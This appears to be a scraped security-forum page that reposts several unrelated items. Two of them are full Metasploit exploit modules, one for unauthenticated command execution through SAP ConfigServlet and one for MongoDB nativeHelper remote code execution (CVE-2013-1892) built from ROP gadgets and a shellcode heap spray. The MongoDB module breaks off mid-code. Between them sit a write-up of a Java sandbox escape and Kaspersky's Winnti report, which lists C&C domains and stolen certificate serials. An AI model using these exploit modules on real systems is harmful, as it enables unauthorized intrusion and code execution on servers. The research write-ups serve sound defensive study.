thehat

SAP ConfigServlet Remote Unauthenticated Payload Execution require 'msf/core' class Metasploit3 < Msf::Exploit Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'SAP ConfigServlet Remote Code Execution', 'Description' => %q{ This module allows remote code execution via operating system commands through the SAP ConfigServlet without any authentication. }, 'Author' => [ 'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation) 'Andras Kabai' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'] ], 'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation 'Platform' => 'win', 'Targets' => [ [ 'Windows generic', { 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, 'Privileged' => false )) register_options( [ Opt::RPORT(50000), OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet']) ], self.class) end def check uri = normalize_uri(target_uri.path, 'ConfigServlet') res = send_evil_request(uri, "whoami", 20) if !res Exploit::CheckCode::Unknown elsif res.body.include?("Process created") Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit print_status("#{rhost}:#{rport} - Exploiting remote system") uri = normalize_uri(target_uri.path, 'ConfigServlet') execute_cmdstager( { :linemax => 1500, :nodelete => true, :sap_configservlet_uri => uri }) end def execute_command(cmd, opts) commands = cmd.split(/&/) commands.each do |command| timeout = 20 if command.include?(".vbs") and command.include?(",") # because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them # using the following command line trick it is possible to echo commas into the right places command.gsub!(",", "%i") command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command else command = "cmd /c " + command end if command.include?("cscript") # in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data # increaste timeout value when the VBS stager is called timeout = 120 end vprint_status("Attempting to execute: #{command}") send_evil_request(opts[:sap_configservlet_uri], command, timeout) end end def send_evil_request(uri, cmd, timeout) begin res = send_request_cgi( { 'uri' => uri, 'method' => 'GET', 'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd) }, timeout) if !res fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit failed.") end if res.code != 200 vprint_error("#{rhost}:#{rport} - Output: #{res.body}") fail_with(Exploit::Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed.") end rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server.") end if not res.body.include?("Process created") vprint_error("#{rhost}:#{rport} - Output: #{res.body}") fail_with(Exploit::Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed.") end return res end end Sursa: SAP ConfigServlet Remote Unauthenticated Payload Execution

Java Pwn2Own James Forshaw - 19th April 2013 inShare On 16th April Oracle released Java 7 Update 21 (which you should install now if you haven’t already!) This release fixes all the Java vulnerabilities disclosed to Oracle during the recent Pwn2Own 2013 competition held at the CanSecWest security conference in Vancouver on the 6th March 2013, alongside a significant number of other bugs. I was the first winner of the Java exploit competition at this event, and this blog provides an both an overview of my winning entry, and an insight into just how difficult it is to fully secure a complex system such as Java against a determined attacker. But let’s start with the bug itself, CVE-2013-1488, which is surprisingly innocuous and one which could easily be missed during a code security review. It was an issue I found in the java.sql.DriverManager class which is a trusted part of the framework. As the documentation states this class’s purpose is for “… managing a set of JDBC drivers.” and is an extensible Java framework for accessing relational databases. Within the source code> for this class a Java vulnerability hunter would be drawn to the two AccessController.doPrivileged blocks like a moth to a flame, they allow the Java libraries to temporarily elevate its privileges to perform a security critical action. The first block does not do very much (it simply gets a system property) but the second one is far more interesting: Figure 1 The reason this code is interesting is because it is performing a non-trivial task during this block of elevated privileges. Even more importantly, an attacker can directly interact with this process because of the use of the which will instantiate a sequence of objects from a manifest of class names provided in the applet’s JAR file: Figure 2 That in and of itself might not be massively helpful to an attacker, mainly because all objects that can created through this process have to implement the java.sql.Driver interface, so we cannot just find any arbitrary class and reuse it. We could try and find an existing driver which did something bad when created with its default ‘empty’ constructor, but doesn’t sound too likely either. But looking closer at the lines which are actually doing the work, there is something else interesting going on: Figure 3 Whilst it isn’t immediately obvious these lines are doing a lot more than they seem, the code is actually looping through an “iterator” which creates each object from a list of class names in turn via the reflection API Class.newInstance(). It then concatenates that object with a string and tries to log the result (ironically by default there is no log enabled and this result is thrown away). Whilst it isn’t explicit in the code, and thus might be missed unless you are paying close attention, what this is actually doing is calling the toString method on every object it creates during a privileged block. To say this is probably bad is maybe understating the issue, but what can we do with it? Exploiting this comes down to a variation of the “Trusted Method Chain” attack. This is a technique in platforms such as Java and .NET which allows an attacker to construct a chain of method calls from parts of the trusted Java class libraries and the JVM, which result in some action which circumvents security restrictions. I can’t claim credit for the discovery of this technique, and so for a better description in the Java world I would defer to the legendary Sami Koivu here. The reason you need to do this is because unsigned Java code running in the browser plugin is untrusted. If you try and perform a security critical action (such as opening a file) the security manager installed to protect the sandbox will notice you and stop the action. But if all the calls on the stack are trusted (i.e. from built in classes) then the manager will trust you to perform the action, leading to the potential for a sandbox escape. From this we need some way of going from a toString method call to a sandbox escape, and that doesn’t sound like it should be easy. But looking over the history of Java exploitation, it turns out there are a number of examples of doing just this, the previous link to Sami’s blog has one (fixed obviously) and there is another very well-known one related to the Rhino Javascript Engine, CVE-2011-3544 discovered by Michael Schierl (which is also fixed). So a similar technique might be worth pursuing in this case, perhaps if we could create a Javascript Error object in a similar fashion to CVE-2011-3544 it would work for us, we could get it called by DriverManager and we could escape the sandbox? But how could we do that, as I’ve just said this has been fixed? Well “yes”, but perhaps not in the way you would expect. The actual implementation of the Rhino Script Engine NativeError class wasn’t changed; instead the script engine code was modified to ‘capture’ the access control context under which it was instantiated during its default constructor. Any Javascript method is then run within an AccessController.doPrivileged block with the captured context, so that the Javascript code can only ever do as much damage as the thing which created it. This means that, if untrusted Java applet code created the engine, all Javascript would run at most with the applet’s permissions. However what if the engine was created by trusted code running with elevated permissions? Well, if we look at the code for the RhinoScriptEngine class we can actually see the fix in action: Figure 4 If running in a sandbox, the constructor checks whether it is running under a fully privileged context, if it isn’t then an exception occurs and the current context is captured, otherwise accCtxt is left as its default value of null. When it comes to running Javascript code, if accCtxt is null then it is run with the permissions of the direct caller, which is exactly the scenario we want, as it breaks the fix applied to solve CVE-2011-3544 and allows us to repurpose the same technique to create our trusted chain. It is worth noting that this isn’t actually the original fix, its behaviour resulted in a code change which made it less vulnerable to these attacks, but as I will demonstrate it didn’t matter for this vulnerability. So the final piece of the puzzle is how to create the RhinoScriptEngine class under a privileged context, well the answer has been staring us in the face all along: we can use our own ServiceLoader iterator combined with a Set class to create a trusted chain between the toString method and instantiation of the RhinoScriptEngine class. The reason this works is that the Set class’s toString method will iterate over the values of the iterator object, which, in turn, causes the ServiceLoader iterator to instantiate an attacker supplied list of objects. This list can then be recovered at a later time for the purposes of exploitation. Take, for example, the following class which implements the Driver interface and derives from AbstractSet but uses a “fake” iterator: Figure 5 When called by the DriverManager code the order of operations is as follows: Figure 6 Once the script engine object is created, we now just need a second driver which again derives from a Set class, this time we use it to call toString on our custom Error object, by adding it to the Set, and it’s “game over”: Figure 7 In conclusion, to exploit that single, seemingly innocuous bug required repurposing a massive amount of unrelated code to disable the security manager and therefore break out of the sandbox. I guess that is why Oracle considering it to have a Medium Access Complexity within the CVSSv2 scoring scheme. But that is also why I think something like Java can never be secured against hostile code running within a sandboxed environment: the attacker has too much control to craft the environment to exploit the tiniest of weaknesses. The large amount of “trusted” code bundled with the JRE just acts to amplify that power. Sursa: Context ? Information Security

https://www.youtube.com/watch?v=7drszsxSCqQ&feature=player_embedded Sursa:1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team

Winnti. More than just a game Table of Contents In the beginning was ... Digital Certificates Victims Winnti C&Cs Structure Known Malware The commercial interest Source of attacks Conclusions Kaspersky Lab began this ongoing research in the autumn of 2011. The subject is a series of targeted attacks against private companies around the world. In the course of our research we uncovered the activity of a hacking group which has Chinese origins. This group was named "Winnti". According to our estimations, this group has been active for several years and specializes in cyberattacks against the online video game industry. The group’s main objective is to steal source codes for online game projects as well as the digital certificates of legitimate software vendors. In addition, they are very interested in how network infrastructure (including the production of gaming servers) is set up, and new developments such as conceptual ideas, design and more. We weren't the first to focus on this group and investigate their attacks. In 2010 US-based HBGary investigated an information security incident related to the Winnti group at one of HBGary's customers – an American video game company. In the Beginning Was … In the autumn of 2011, a Trojan was detected on a huge number of computers – all of them linked by the fact that they were used by players of a popular online game. It emerged that the piece of malware landed on users’ computers as part of a regular update from the game’s official update server. Some even suspected that the publisher itself was spying on players. However, it later became clear that the malicious program ended up on the users’ computers by mistake: the cybercriminals were in fact targeting the companies that develop and release computer games. The computer game publisher whose servers spread the Trojan asked Kaspersky Lab to analyze the malicious program that was found on its update server. It turned out to be a DLL library compiled for a 64-bit Windows environment and even had a properly signed malicious driver. The malicious DLL landed on gamers’ computers running under either 32-bit or 64-bit operating systems. It couldn’t start in 32-bit environments, but it could, under certain conditions, launch without the user’s knowledge or consent in 64-bit environments, though no such accidental launches have been detected. The DLL contained a backdoor payload, or, to be exact, the functionality of a fully-fledged Remote Administration Tool (RAT), which gave cybercriminals the ability to control the victim computer without the user’s knowledge. The malicious module turned out to be the first time we saw Trojan applications for the 64-bit version of Microsoft Windows with a valid digital signature. We had seen similar cases before, but all previous incidents where digital signatures were abused affected only 32-bit applications. At an early stage of our research, we identified a fair number of similar backdoors, both 32-bit and 64-bit, in our collection of malware samples that were detected under various verdicts. We grouped them together into a separate family. Symantec appears to be the first to name these malicious programs; we kept Symantec’s name – Winnti – in the name of the malware family we created: Backdoor.Win32(Win64).Winnti. As for the people behind these attacks involving this remote administration tool, we ended up calling them “the Winnti group”. Interestingly, the digital signature belonged to another video game vendor - a private company known as KOG, based in South Korea. This company’s main business was MMRPG games, exactly the same area as the first victim. We contacted KOG, whose certificate was used to sign the malicious software, and notified Verisign, which issued the certificate for KOG. As a result the certificate was revoked. Digital Certificates When we discovered the first stolen digital certificate we didn't realize that stealing the certificates and signing malware for future attacks against other targets was the preferred method of this group. Over the next 18 months we discovered more than a dozen similar compromised digital certificates. Moreover, we found that those digital certificates seemed to have been used in attacks organized by other hacking groups, presumably coming from China. For example, in an attack against South Korean social networks Cyworld and Nate in 2011 the attackers used a Trojan that was digitally signed using a certificate of from the gaming company YNK Japan Inc. A digital certificate of the same company was used recently (March 2013) in Trojans deployed against Tibetan and Uyghur activists. In fact, this story dates back to 2011. We highly recommend this Norman blogpost about a similar incident. At the same time, in March 2013, Uyghur activists were targeted by other malware, which was digitally signed by another gaming company called MGAME Corp. We believe that the source of all these stolen certificates could be the same Winnti group. Either this group has close contacts with other Chinese hacker gangs, or it sells the certificates on the black market in China. Below is the list of known compromised companies and digital certificates used by the Winnti group in different campaigns: Company Serial number Country ESTsoft Corp 30 d3 fe 26 59 1d 8e ac 8c 30 66 7a c4 99 9b d7 South Korea Kog Co., Ltd. 66 e3 f0 b4 45 9f 15 ac 7f 2a 2b 44 99 0d d7 09 South Korea LivePlex Corp 1c aa 0d 0d ad f3 2a 24 04 a7 51 95 ae 47 82 0a South Korea/ Philippines MGAME Corp 4e eb 08 05 55 f1 ab f7 09 bb a9 ca e3 2f 13 cd South Korea Rosso Index KK 01 00 00 00 00 01 29 7d ba 69 dd Japan Sesisoft 61 3e 2f a1 4e 32 3c 69 ee 3e 72 0c 27 af e4 ce South Korea Wemade 61 00 39 d6 34 9e e5 31 e4 ca a3 a6 5d 10 0c 7d Japan/South Korea/US YNK Japan 67 24 34 0d db c7 25 2f 7f b7 14 b8 12 a5 c0 4d Japan Guangzhou YuanLuo 0b 72 79 06 8b eb 15 ff e8 06 0d 2c 56 15 3c 35 China Fantasy Technology Corp 75 82 f3 34 85 aa 26 4d e0 3b 2b df 74 e0 bf 32 China Neowiz 5c 2f 97 a3 1a bc 32 b0 8c ac 01 00 59 8f 32 f6 South Korea Victims It’s tempting to assume that Advanced Persistent Threats (APTs) primarily target high-level institutions: government agencies, ministries, the military, political organizations, power stations, chemical plants, critical infrastructure networks and so on. In this context it seems unlikely that a commercial company would be at risk unless it was operating on the scale of Google, Adobe or The New York Times, which was recently targeted by a cyberattack, and this perception is reinforced by the publicity that attacks on corporations and government organizations usually receive. However, any company with data that can be effectively monetized is at risk from APTs. This is exactly what we encountered here: it was not a governmental, political, military, or industrial organization but gaming companies that were targeted. It’s difficult to name all the victims of the Winnti team. Judging by the information that we have at our disposal – namely the tags within malicious programs, the names of the C&C domains, the companies whose digital certificates were stolen to sign malware, and the countries where detection notifications came from – we can say that at least 35 companies have been infected by Winnti malware at some time. Countries where the affected companies are located: Asia Europa South America North America Vietnam Belarus Brazil USA India Germany Peru Indonesia Russia China Taiwan Thailand Phillipines S. Korea Japan This data demonstrates that the Winnti team is targeting gaming companies located in various parts of the world, albeit with a strong focus on SE Asia. Countries where gaming companies have been affected Such geographic diversity is hardly surprising. Often, gaming companies (both publishers and developers) are international, having representatives and offices worldwide. Also, it is common practice for gaming companies from various regions to cooperate. The developers of a game may be located in a different country from its publisher. When a game later reaches markets in regions away from its initial ‘home’, it is often localized and published by other publishers. In the course of this cooperation, the partner companies often grant each other access to network resources to exchange data associated with the gaming content, including distribution kits, gaming resources, resource assembly kits, etc. If one company in the network gets infected, it’s easy for the cybercriminals to spread the infection throughout the partnership chain. Winnti C&Cs Structure During the investigation, we identified over a hundred malicious programs, every single one compiled to attack a particular company. Typically, separate C&C domains were assigned to each targeted company. Virtually all the C&C domains were arranged as follows: a second-level domain was created without a DNS A-record, i.e., there was no IP address assigned to it. In case there was an A-record, the assigned IP address was typically 127.0.0.1. It is also noteworthy that some of the second-level domains that the cybercriminals created for their C&C had very similar names to the domain hosting the site of a certain real gaming company. And the malicious users’ domain was resolved to the same IP address which the site of the real gaming company used. In any case, the third-level domains resolved to IP addresses assigned to the attackers’ actual C&C servers. C&C domain naming and resolution Sometimes the Winnti team registered their C&C units with public hosts. Judging by the samples identified, these C&C centers were subdomains of such domains as 6600.org, 8866.org, 9966.org or ddns.net. From the names of the C&C domains or subdomains, the attack targets or countries of residence could be guessed, as in: ru.gcgame.info kr.zzsoft.info jp.xxoo.co us.nhntech.com fs.nhntech.com as.cjinternet.us The subdomains “ru”, “kr”, ”jp” and “us” most probably mean that these C&C servers manage bots hosted on the computers of companies located in Russia, South Korea, Japan and the US respectively, while “fs” and “as” are acronyms for the names of the companies being attacked. Sometimes Winnti’s malicious programs had a local IP address, such as 192.168.1.136, specified in their settings for the C&C. This could mean that at some point of time there was an infected computer that did not have a connection to the Internet, but the cybercriminals needed control over it (it may have been infected while malware was spread via a corporate network). In this case, the cybercriminals deployed a dedicated local C&C server on another compromised computer within the same local network which did have an Internet connection; via that C&C, the first victim computer could be controlled. System administrators often try to isolate critical computers from the outside world. This decreases the probability of haphazard infection, but, apparently, does not always help in a targeted attack. In the Winnti samples that were detected and analyzed, we found 36 unique C&C domains. Most probably, this is only a small portion of all existing Winnti C&C domains, as we only managed to obtain some of the samples from this malware family. This is hardly surprising since these malicious programs are used to execute targeted attacks, so no information is available about many instances of infection; for this reason, we have no way of obtaining samples of the malware used in these undisclosed attacks. Domain names used in the attacks we discovered: newpic.dyndns.tv lp.zzsoft.info ru.gcgame.info update.ddns.net lp.gasoft.us kr.jcrsoft.com nd.jcrsoft.com eya.jcrsoft.com wm.ibm-support.net cc.nexoncorp.us ftpd.9966.org fs.nhntech.com kr.zzsoft.info kr.xxoo.co docs.nhnclass.com as.cjinternet.us wi.gcgame.info rh.jcrsoft.com ca.zzsoft.info tcp.nhntech.com wm.nhntech.com sn.jcrsoft.com ka.jcrsoft.com wm.myxxoo.com lp.apanku.com my.zzsoft.info ka.zzsoft.info sshd.8866.org jp.jcrsoft.com ad.jcrsoft.com ftpd.6600.org su.cjinternet.us my.gasoft.us tcpiah.googleclick.net vn.gcgame.info rss.6600.org ap.nhntech.com Knowing the 2nd level domains used by Winnti, we brute forced through all 3rd level subdomains up to 4 symbols long, and identified those that have the IP addresses of real servers assigned to them. Having searched through subdomains for a total of 12 2nd level domains, we identified 227 “live” 3rd level domains. Many of them are C&C servers for Winnti-class malware that have hitherto remained unidentified. Analyzing the WHOIS data for the 12 2nd level domains, we found the following list of email addresses used for registration: evilsex@gmail.com jslee.jcr@gmail.com whoismydns@gmail.com googl3@live.com wzcc@cnkker.com apanku2009@gmail.com For some of these domains, registration data proved to be the same as those for the domain google.com: Registrant: Google Inc. 1600 Amphitheatre Parkwa Mountain Vie, California 94043 United States +1.6503300100 Judging by the domain registration data, the Winnti team started their criminal activities at least in 2007. Their early domains were involved in spreading rogue antiviruses (FakeAV). From 2009 onwards, domains began to emerge hosting C&C servers for bots used to infect gaming companies. Apparently, the cybercriminals graduated to relatively large-scale penetrations into the corporate networks of gaming companies starting from 2010. Known Malware The attackers’ favorite tool is the malicious program we called "Winnti". It has evolved since its first use, but all variants can be divided into two generations: 1.x and 2.x. Our publication describes both variants of this tool. In our report we publish an analysis of the first generation of Winnti. The second generation (2.x) was used in one of the attacks which we investigated during its active stage, helping the victim to interrupt data transfer and isolate infections in the corporate network. This incident and our investigation is described in detail here. In addition to that, we have observed the use of a popular backdoor known as PlugX, which is believed to have Chinese origins. Previously, this had only been used in attacks against Tibetan activists. The Commercial Interest As has been stated above, APTs can target any commercial company if cybercriminals find a way to make a profit from the attack. So which methods do cybercriminals use to generate illicit earnings from attacks on gaming companies? Based on the available information, we have singled out three main monetization schemes that could be used by the Winnti team. The unfair accumulation of in-game currency/“gold” in online games and the conversion of virtual funds into real money. Theft of source code from the online games server to search for vulnerabilities in games – often linked to point 1. Theft of source code from the server part of popular online games to further deploy pirate servers. Let’s look at an example. During our investigation of an infection at a computer game company, we found that malware had been created for a particular service on the company’s server. The malicious program was looking for a specific process running on the server, injected code into it, and then sought out two places in the process code where it could conceal call commands for its function interceptors. Using these function interceptors, the malicious programs modified process data which was processed in those two places, and returned control back. Thus, the attackers change the normal execution of the server processes. Unfortunately, the company was not able to share its targeted application with us, and we cannot say exactly how this malicious interference affected gaming processes. The company concerned told us that the attackers’ aim was to acquire gaming “gold” illegally. Malicious activity like this has an adverse impact on the game itself, tilting the balance in favor of cheats. But any changes the Winnti team introduces into the game experience are unlikely to be very noticeable. After all, maintaining a skillful balance is the main attribute of online games! Users will simply stop playing if they feel that other players are using non-standard methods to create an advantage beyond normal gameplay or if the game loses its intrinsic competitiveness due to resources or artifacts appearing in the game without the developers’ knowledge. At the same time the attackers are keen for the game to remain popular; otherwise, they would be unable to effectively turn all the time and effort of infecting a gaming company into financial gain. Members of the Winnti team are patient and cautious. Cybercriminals have affected the processes of the online games from the infected companies and stolen money from them for years, but they have found ways of doing this without attracting attention to themselves. Source of Attacks So, who is behind Winnti? While analyzing the malicious files that we detected during our investigation we found some details which may cast some light on the source of the attacks. As part of our investigation, we monitored exactly what the cybercriminals did on an infected PC. In particular, they they downloaded an auxiliary program ff._exe to the Config.Msi folder on the infected machine. This code searches for HTML, MS Excel, MS Word, Adobe, PowerPoint and MS Works documents and text files (.txt) on the hard drive. Debugging lines were found in ff._exe_ that possibly point to the nationality of the cybercriminals. They were not immediately noticeable because they looked like this in the editor: However, during a detailed analysis it emerged that the text is in Chinese Simplified GBK coding. This is what these lines look in Chinese: Below is a machine translation of this text into English: Not identify the type of file system Below is a translation of the text by interpreter Open the volume failed Failed to get the file system type Failed to read volume Volumes do not open or open failed Navigate to the root directory of the error Error memory read pointer Memory is too small File does not exist Failed to get the file mft index sector Access to file data fail Volume and open volumes are not the same The same volume and open volume In addition, cybercriminals used the AheadLib program to create malicious libraries (for details, see the second part of the article). This is a program with a Chinese interface. Chinese text was also found in one of the components of the malicious program CmdPlus.dll plug-in: Translation: The process is complete!! It would appear that the attackers can at least speak Chinese. However, not everything is so clear cut: because the file transfer plug-in has not been implemented entirely safely, a command which includes the attackers’ local path (where the file comes from and where it is saved to) arrives during the process of downloading/uploading files on the infected system. While monitoring the cybercriminals’ activity on the infected machine, we noticed they uploaded the certificate they found in the infected system, and the network traffic reflected the local path indicating the place where they saved the file on their computer: These characters appear to be Korean, meaning “desktop”. This means the attackers were working on a Korean Windows operating system. Therefore, we can presume that the attack is not the exclusive work of Chinese-speaking cybercriminals. Conclusions Our research revealed long-term oriented large scale cyberespionage campaign of a criminal group with Chinese origins. These attacks are not new, many other security researchers have published details of various cybercriminal groups coming from China. However, current hacking group has distinguishable features that make it stand out among others: massive abuse of digital signatures; the attackers used digital signatures of one victim company to attack other companies and steal more digital certificates; usage of kernel level 64-bit signed rootkit; abusing great variety of public Internet resources to store control commands for the malware in an encrypted form; sharing/selling stolen certificates to other groups that had different objectives (attacks against Uyghur and Tibetan activists); stealing source codes and other intellectual property of software developers in online gaming industry. The malicious program which we call “Winnti” has evolved significantly since it first emerged; however we classify all its variants in two main generations: 1.x and 2.x. We have published the technical description of the first generation of Winnti in a separate article . The second generation (2.x) was used to conduct an attack which we investigated during its active stage. We successfully prevented data transfer to the cybercriminals’ server and isolated the infected systems in the company’s local network. The incidents, as well as results of our investigation, are described in the full report on the Winnti group (PDF). In addition, we discovered that the Winnti group uses a popular backdoor known as PlugX which also has Chinese origins. This backdoor had previously been seen almost exclusively in attacks targeting Tibetan activists. Read further Sursa: https://www.securelist.com/en/analysis/204792287/Winnti_More_than_just_a_game

MongoDB nativeHelper.apply Remote Code Execution This module exploit a the nativeHelper feature from spiderMonkey which allows to to control execution by calling it wit specially crafted arguments. This module has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => 'MongoDB nativeHelper.apply Remote Code Execution', 'Description' => %q{ This module exploit a the nativeHelper feature from spiderMonkey which allows to to control execution by calling it wit specially crafted arguments. This module has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze. }, 'Author' => [ 'agix' # @agixid # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2013-1892' ], [ 'OSVDB', '91632' ], [ 'BID', '58695' ], [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux - mongod 2.2.3 - 32bits', { 'Arch' => ARCH_X86, 'mmap' => [ 0x0816f768, # mmap64@plt # from mongod 0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod 0x31337000, 0x00002000, 0x00000007, 0x00000031, 0xffffffff, 0x00000000, 0x00000000, 0x0816e4c8, # memcpy@plt # from mongod 0x31337000, 0x31337000, 0x0c0b0000, 0x00002000 ], 'ret' => 0x08055a70, # ret # from mongod 'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c] # These gadgets need to be composed with bytes < 0x80 'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP 'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2 'gadget4' => 0x08055a6c, # pop eax / ret 'gadget5' => 0x08457158 # xchg esp,eax } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 24 2013', 'License' => MSF_LICENSE )) register_options( [ Opt::RPORT(27017), OptString.new('DB', [ true, "Database to use", "admin"]), OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]), OptString.new('USERNAME', [ false, "Login to use", ""]), OptString.new('PASSWORD', [ false, "Password to use", ""]) ], self.class) end def exploit begin connect if require_auth? print_status("Mongo server #{datastore['RHOST']} use authentication...") if !datastore['USERNAME'] || !datastore['PASSWORD'] disconnect fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided") end if do_login==0 disconnect fail_with(Exploit::Failure::NoAccess, "Authentication failed") end else print_good("Mongo server #{datastore['RHOST']} doesn't use authentication") end if datastore['COLLECTION'] && datastore['COLLECTION'] != "" collection = datastore['COLLECTION'] else collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') if read_only?(collection) disconnect fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection") else print_good("New document created in collection #{collection}") end end print_status("Let's exploit, heap spray could take some time...") my_target = target shellcode = Rex::Text.to_unescape(payload.encoded) mmap = my_target['mmap'].pack("V*") ret = [my_target['ret']].pack("V*") gadget1 = "0x#{my_target['gadget1'].to_s(16)}" gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V")) gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V")) gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V")) gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V")) shellcode_var="a"+Rex::Text.rand_text_hex(4) sizechunk_var="b"+Rex::Text.rand_text_hex(4) chunk_var="c"+Rex::Text.rand_text_hex(4) i_var="d"+Rex::Text.rand_text_hex(4) array_var="e"+Rex::Text.rand_text_hex(4) ropchain_var="f"+Rex::Text.rand_text_hex(4) chunk2_var="g"+Rex::Text.rand_text_hex(4) array2_var="h"+Rex::Text.rand_text_hex(4) # nopsled + shellcode heapspray payload_js = shellcode_var+'=unescape("'+shellcode+'");' payload_js << sizechunk_var+'=0x1000;' payload_js << chunk_var+'="";' payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } ' payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk _var+'-'+shellcode_var+'.length));' payload_js << array_var+'=new Array();' payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } ' # retchain + ropchain heapspray payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");' payload_js << chunk2_var+'="";' payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } ' payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechu nk_var+'-'+ropchain_var+'.length));' payload_js << array2_var+'=new Array();' payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } ' # Trigger and first ropchain payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, ' payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);' request_id = Rex::Text.rand_text(4) packet = request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) where = "\x02\x24\x77\x68\x65\x72\x65\x00" where << [payload_js.length+4].pack("L") where << payload_js+"\x00" where.insert(0, [where.length + 4].pack("L")) packet += where packet.insert(0, [packet.length + 4].pack("L")) sock.put(packet) disconnect rescue ::Exception => e fail_with(Exploit::Failure::Unreachable, "Unable to connect") end end def require_auth? request_id = Rex::Text.rand_text(4) packet = "\x3f\x00\x00\x00" #messageLength (63) packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) #query ({"listDatabases"=>1}) packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x 61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00" sock.put(packet) response = sock.get_once have_auth_error?(response) end def read_only?(collection) request_id = Rex::Text.rand_text(4) _id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02" key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" insert = _id+key+[value.length].pack("L")+value+"\x00" packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection) packet << [insert.length+4].pack("L") packet << insert sock.put(packet) request_id = Rex::Text.rand_text(4) packet = [datastore['DB'].length + 61].pack("L") #messageLength (66) packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 Query) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) packet << 